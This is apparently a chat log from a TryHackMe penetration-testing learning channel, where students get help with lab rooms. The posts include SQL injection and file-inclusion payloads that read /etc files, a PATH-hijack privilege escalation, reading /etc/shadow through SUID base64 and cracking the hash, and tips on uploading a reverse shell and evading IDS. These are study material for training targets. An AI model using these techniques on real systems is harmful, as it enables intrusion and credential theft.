I just wanted to say thank you for your prompt help and support. I was facing an issue earlier, but with your guidance, I was able to resolve it successfully. I really appreciate the great work you do and the amazing platform you've built.

[violet brook]

Keep up the good work 🙂 🚀

[zenith bough]

I am stuck on gaining root access on linux privilege escalation's last question. I believe PATH exploitation is the correct decision, but my executable for the compiled script isn't owned by root, so it's basically worthless

in the example for one of the sections, it seemed like compiling it created an executable file that was immediately designated execution by root only

does gcc need to have been configured in a very peculiar way to produce this result

oh they just had a test file on the machine in the beginning that i never compiled and was owned by root

[violet brook]

Can you provide a room link ?

[forest oracle]

I'm having some trouble completing the Racing Condition room: https://tryhackme.com/room/raceconditionsattacks
On the last section it asks me to connect to port 5000 on the VM (whereas previous sections were using port 8080). I have been using the VPN with no trouble, but this time it came with an error (Unable to connect). I tried with and without the proxy.
I then started the Attack Box, but the same thing happens there. So the issue must be on the VM itself, or some network configuration. Anyone experiencing the same?

[forest oracle]

Never mind, I just figured out. In that room you need to terminate the previous machine and stat a new one.

[zenith bough]

https://tryhackme.com/room/linprivesc

[zenith bough]

nvm I just did the same thing twice for two different flags

[plain hearth]

Can you provide a task number palese?

[plain hearth]

Sorry, I just realized it’s the capstone challenge.

I used a different attack vector, but I’ll try the one you showed.

[plain hearth]

The script.c and path files were created, but they didn’t originally exist on the virtual machine.

To exploit PATH-based privilege escalation, you need an application that can potentially be hijacked to run a script owned by root with the SUID bit set.

The demo script in Task 10 is for demonstration purposes only and was compiled by the root user. The compiled binary (path) executes a file named thm.

To exploit it, you should create a custom Bash script with the same name as the file the binary tries to execute (thm), which runs /bin/bash. Save this script in a writable directory, then update the PATH environment variable to place your writable directory at the beginning. After that, run the vulnerable binary as a non-root user — it will execute your custom script with root privileges.

Try exploring another privilege escalation attack vector.

[tawdry sapphire]

hello anyone available

[earnest flicker]

if i follow this path should I go through the others?

[violet brook]

You don't need to go through SOC path if you aren't interested in blue teaming 🙂

[golden crypt]

I think it’s worth knowing how blue team thinks/acts as a red teamer. It makes you think of ways to get in that they wouldn’t think of

[sudden plank]

I was just about to ask if SOC T1 knowledge wouldn't be useful in a Pentesting role. Thanks for pointing that out.

[next lance]

Gave +1 Rep to @golden crypt (current: #2983 - 1)

[golden crypt]

The best attackers are good defenders; and vice versa

[vernal ridge]

Although true, if the goal is pentester, I’d focus on that module first. I agree blue skillsets are important and, as time permits, worthy of going through those modules too.

[simple spade]

Hello everyone To what level wouod I need to know terminal before I can jump to learning python ?

[violet brook]

Well you don't necessarily need to know terminal in order to start learning python

[simple spade]

Oh frrrr?

I thought so

But for hacking I do though right

[violet brook]

Yes

[simple spade]

To what extent would you say

N is terminal better

[sharp condor]

You at least need to know how to run your python code on a terminal

[simple spade]

Wouod you suggest how to go about that?

[sharp condor]

like learning how to work on a terminal?

[simple spade]

Yh to that lvl

We’re I can move on to python

Unless terminal is better

[sharp condor]

if you just learn the basics like navigating, catting a file, passing an argument to a program, running a program, easy stuff like that, it's enough.

just pop your Terminal and start typing, maybe watch YouTube

after that, you'll know in which route to go

[simple spade]

I’ve been watching yk network chucks Linux playlist on yt

Just don’t know when to necessarily stop

[sharp condor]

I think that's enough to start learning python

[simple spade]

In on his 4 video

4th

[sharp condor]

I guess it's fine to finish the whole playlist. It's worth it

[simple spade]

Okok

Have you watched it

[sharp condor]

long ago

[simple spade]

Did u enjoy it ?

Worth it ?

[sharp condor]

yeah

if you don't like to watch youtube, there are some rooms on THM. Also a lotta resources on the internet

anyway, imma go. Have fun learning

[limber mulch]

Having an issue with the authentication bypass portion, specifically the brute force part. On the left is the username file from the task before and I’m running the command on the right from the same directory the username file is saved but nothing is coming up. Is there something in the command I’m missing? Thank you!

[fierce forge]

Hi im doing the Challenge-Room "smol" since it was Recommendet to me after finishing this path. Problem im Facing is that i cant reach the Wordpress Site of the Challenge even after Adding it to /etc/hosts. Im prolly missing sth stupid but cant figure it out rn

[violet brook]

You also need to add www.smol.thm to /etc/hosts

[fierce forge]

Thank you, but ouch forgetting the www was as Predicted stupid on my part

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5504)

[green plaza]

SQL Injection Task 8.

Looking at Time Based SQL injection to enumerate a database.

So far I have gotten to
admin123' UNION SELECT SLEEP(2),2 FROM information_schema.columns WHERE table_schema = 'sqli_four' and table_name = 'analytics_referrers' and column_name like 'domain%';--
and
admin123' UNION SELECT SLEEP(2),2 FROM information_schema.columns WHERE table_schema = 'sqli_four' and table_name = 'analytics_referrers' and column_name like 'id%';--

Bit unsure where to go from here though

The room gave a hint to start the task off
referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';-- however, the response was not sleeping and therefore I don't believe there is a database beginning with 'u'

[knotty bloom]

the database might not start with u

[green plaza]

Yh so far I have.
Database = 'sqli_four'
Table = 'analytics_referrers'
Columns = 'domain', 'id'

[pearl drum]

looking for study buddy while taking the jr pentester path thanks

[verbal carbon]

Me too

[green plaza]

Ahhh I have gone back and found another table, 'users'. This is probably what I am after

[tall mango]

hi everyone, I wanted to ask, whats your opinion on this path ? is it good ? im currenrly doing it but I want to know a few opinions on it!

[modest arch]

im on the path and i find it useful and found cybersecurity101 very helpful too but i doubt i wouldve been able to get through some of the rooms without youtube walkthroughs

[golden crypt]

It’s good. Having background knowledge helps but the rooms generally do a good job about explaining how to do the task with you having to read between the lines here and there. There is pretty much always a room that explains how to do your task whether it’s burpsuite or html or whatever

[tall mango]

alr thanks !!

[tall mango]

hello, I am doing the nmap basic port scans room, and as I arrived to the first task where i have to run a nmap command, I figured that when I run it on the attackbox i receive only 1 open port, but if I do it from my local machine (connected by VPN), it shows me what it should've shown me on the attackbox

it's not a problem of course as I dont really bother using my local machine, but still I would like to understand how it is possible ? since both machines (attackbox&my local machine) are scanning the same target ?

[prisma raptor]

Are you connected to THM OpenVPN when doing the scans?

[tall mango]

on my machine yes ofc if not I would not be able to scan the machine

and on the attackbox I'm supposed to be connected to it directly so ...

[prisma raptor]

Just making sure. 😅

[prisma raptor]

The Attackbox is already within or logically connected to the THM network where your target is hosted or running from (I say this as I don't have visibility on how it is setup). You local machine is logically connected to the THM network through the OpenVPN connection where it establishes a tunnel between your home network to the THM network.

Yes as you are scanning the same machine from the same connected network

[tall mango]

I think I just didn't ran the command with "sudo" in front of it

but still I was with user "root" so I don't understand why I would need to use "sudo"...

[oblique bay]

I need help on lab6 in Local file inclusion:
”Try out Lab #6 and read /etc/os-release. What is the VERSION_ID value?”
The error says: access denied - allowed files at THM-profile only! I'm using the following command http://10.10.54.216/lab6.php?page=../../../../THM-profile/etc/os-release. but not able to see any version number.

ive also tried these with no success http://10.10.54.216/lab6.php?page=../../../../THM-profile/info.php
http://10.10.54.216/lab6.php?page=../../../../THM-profile/index.php
http://10.10.54.216/lab6.php?page=../../../../THM-profile/config.php
http://10.10.54.216/lab6.php?page=../../../../THM-profile/about.php
http://10.10.54.216/lab6.php?page=../../../../THM-profile/test.php

[violet brook]

Add THM-profile base dir at the start of your payload

[robust orchid]

[oblique bay]

Hello im working on the same room i have used the following url but im not haveing any success. http://10.10.136.38/lab6.php?page=THM-profile/../../../etc/os-release

[oblique bay]

I changed the command to the following http://10.10.136.38/lab6.php?page=THM-profile/../../../etc/os-release with various number of ../ but im still not receiving any version id.

[violet brook]

Delete everything before THM-profile

[oblique bay]

YEES!! Thank you!

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5642)

[neat nymph]

In file inclusion room , task 8 , question 2 . i got the admin page , but i am not able to find flag, i checked in page source , response, and i also tried path traversal etc..

[violet brook]

Try to play with cookies 🙂

[neat nymph]

thanks , i changed cookie value to ../../../../etc/flag2%00 i got flag

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5656)

[violet brook]

Great job , congrats 🙂 🚀 , keep up the good work

[coral dragon]

hi boss am downloading this and what does it means ? will i loss my internet pasward and then have to again add the pasward in order to use wifi or what does it means ?

[green plaza]

Net Sec Challenge

I need to "use Nmap to scan the machine IP as covertly as possible and avoid being detected by the IDS" all I can think of is a stealth scan using -sS. However this doesn't seem to do anything apart from tell me 5 open ports

Any hints/advice will be appreciated

[violet brook]

Try with -sN scan

[violet brook]

No it means you may temporary use internet connection during VBox installation since installation may need to use your network adapter 🙂

[coral dragon]

My os is windows 11 and before downloading the virtual box I selected the windows version now I want to download the iso file for kali Linux in order to use kali linux on it ?

[green plaza]

Not sure what is even meant to happen. But same result with the -sN scan 🤔

[violet brook]

Yes

[violet brook]

Click on reset packet counter and repeat the scan

[green plaza]

I got it to work on the attack box rather than my own VM. I did try resetting the packet counter after every attempt but for some reason still wasnt getting any results

[violet brook]

Maybe you had some connection problem with your vm or an mtu issue

[green plaza]

You're speaking above my current knowledge level but I appreciate the help either way 😅

[coral dragon]

If you dont mind then can you share the link for that ?

[violet brook]

You have a complete official guide here
https://www.kali.org/docs/virtualization/install-virtualbox-guest-vm/

[low ridge]

Hey guys!

I just started on the jr pentest path.

Been through the precyber and 25% of the cyber 101

In the file inclusion section i got through most of it (with help), but the very last challenge (The free playground ctf) i really couldn't do it.

I used a couple of youtube videos where i would serve a python server to get a RCE. https://www.youtube.com/watch?v=liH2wc6X2as

my problem is when i serve the python server it keeps saying the same mistake, it seems like in the other guys terminal they appear directly connected to THM in openvpn, and i am still on my on machine. Does it make sense?

Never mind. Yet again it is the smallest of the smallest mistake that got to me. Fixed it.

I was to use the attackbox ip and not my own terminal

[green plaza]

Just wondering any reason why you skipped the rest of Cyber 101? Do you have pre-existing knowledge?

[low ridge]

Tried to motivate myself with som pentest hands on task. I will go back to it, just needed a break

[green plaza]

Fairs, it is a very long path tbh especially compared to pre-security

[low ridge]

Exactly.
I just needed a breather and a feel of where this is going.

[magic dome]

I was working on room SSRF and completed it, yet i still haven't really gotten grep of it. I tried to find similirar online but didnt found exact methods as in tryhackme. Could somebody recommend a video or if you feel very generous explain in DM. Thanks! 🙃

[violet brook]

Maybe Portswigger's topic on SSRF will provide you with more details
https://portswigger.net/web-security/ssrf

[magic dome]

thanks! Where do you find all this info? or maybe it is just experience

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5702)

[violet brook]

google/chatgpt may help you when looking for some resources especially chatgpt

[magic dome]

oh i see, cause i just asked chatgpt explain it ,not give sources. Well, now i know

[green plaza]

Room "What the Shell?"

Currently working through the practice and examples to actually get hands on with some of the covered content.

I am trying to create a staged meterpreter shell. However when uploading the reverse shell .elf file to the website, it doesn't seem to connect back to my listener. When I try open the URL to the file I uploaded it just downloads the .elf file to my machine?

[magic dome]

you know, if you really need an answer you can just paste the question in google and on medium post you will find an answer, although it doesn't explain it much

[green plaza]

That the site that just gives walkthroughs? I've looked a couple times but like you say it never really explains their process

I'll have a deeper look later on, I've left it for now to watch football

[magic dome]

Yes exactly. Honestly i haven’t figured out a good site to learn more deeply, but you can try Mitre, especially ATT&CK, portswigger that is yet the best i have

Hope it helps

[prisma raptor]

Did you setup your multi/handler? Meterpreter payloads only work with the multi/handler and not with the likes of nc, socat.

[neat nymph]

Room : Burp suite - Repeater , Task 6. i added the flag and sent request , but i am not gettting any response (When i didn't change anything in request then i was getting response)

[violet brook]

Disable intercept option in the proxy tab

[magic dome]

i am currently on room "Race Conditions". on task 5 you need to make multiple requests in repeater to get a balance amount of 100 hundret. But i don't see what send method i shoud use, here availible options :
Send group in sequence (single connection)
Send group in sequence (separate connections)
Send group in parallel
if you could explain why that is. Thanks!

nevermind. I got it

[violet brook]

Send request to repeater put it in group with more than 20-30 requests and use last byte sync / parallel option to send it . Repeat it cross accounts and that's it 🙂 . Make sure that you don't send more than 30$-40$ in the initial transfer .

[magic dome]

yeah thanks, already got it. that is crazy actually thing to do, like i see other methods like IDOR or SSRF but this one is fire

[green plaza]

I have multi/handler set up and listening. My problem is I can't execute my uploaded shell.elf file. I can see it in /uploads but just opening it only downloads it to my machine rather than executing it

[keen crow]

Hello guys, greetings. This is my first time sending a message here. So please forgive me if I'm doing or saying something I'm not supposed to say. I look forward to learning from you all. Thank you 🙇

[violet brook]

Welcome 🙂

Feel free to reach out whenever you need help

[keen crow]

Thank you 😊

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5714)

[cerulean tusk]

if i bought an exam voucher, but have no time to complete and exam, is there a way to reschedule/refund an exam voucher?

[loud nest]

hi

[green plaza]

Linux Privilege Escalation: SUID

The only binary with the SUID set that also appears on GTFOBins is base64. I have used this to read the shadow file to get the password hash for user2. But John the ripper isnt installed on the system for me to crack the hash. I also dont have privilege to nano or vim so I cant add a user to passwd either.

I looked at a walk-through and it seems they're using John through their own machine, but surely I can complete this task solely within the target machine? Any ideas on what I can try from here?

[prisma raptor]

If it is in /uploads, then you should change it into php so the web server would "understand" the language

[prisma raptor]

I suggest dropping an email to THM Support.

[ashen moss]

@cerulean tusk

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Jul 30, 2025, 5:50 AM

[violet brook]

Be sure that you use the correct machine that room has different machine for each task

[stoic cedar]

why have i this problem with nmap ?

[violet brook]

Which room ?

[stoic cedar]

Basic port scan with nmap

[violet brook]

You're probably using the wrong machine that room has 3 different machines , make sure to start the machine directly from that task

[green plaza]

So instead of outputting the payload as an elf file I do -f php instead?

[green plaza]

I'm using the corresponding machine for the task but it seems all I can do with base64 is read files. So I can gain the password hash but I need a way to crack this hash

[violet brook]

Try to use hashes.com

[green plaza]

That worked, forgot I could also use the web 🤦‍♂️ I was tunnel visioned on using commands only

I managed to also do it using John outside of the machine which now that I think about isnt even an unrealistic approach

[violet brook]

I always first start on web for ctfs 🙂

[prisma raptor]

Yes, as the target web server software doesn't understand or know how to read elf files.

[green plaza]

Path completed onto SOC Level 1. Appreciate the support 🙏🏻

[violet brook]

Great job , keep up the good work 🙂 🚀 🔥 💪

[idle basalt]

Hi new to here. I recently started leaning this field using tryhackme as main source. honestly im loving what im doing but at the same time i sometimes feel overwhelmed by watching those really skilled pentester, ethcal hacke and stuff feeling how do i even get there. did you guys go through where i am now? is it really abt consistency?

[magic dome]

mostly yeah, you most likely never would know everything, updates and bugs drop almost everyday, so you need to learn where to find, try to understand why and how code brakes and don't forget to practice. Yeah, about consistency. Good luck!

[prisma raptor]

To add on what has been mentioned, defining your methodology on how to do enumeration and research will help you throughout the learning process.

[undone flint]

Hi , i am working the SQL injection lab, but at task 6 it is not accepting the flag presented as correct? This is for the Blind SQLi Authentication bypass

[undone flint]

anyone?

[violet brook]

What's your flag ?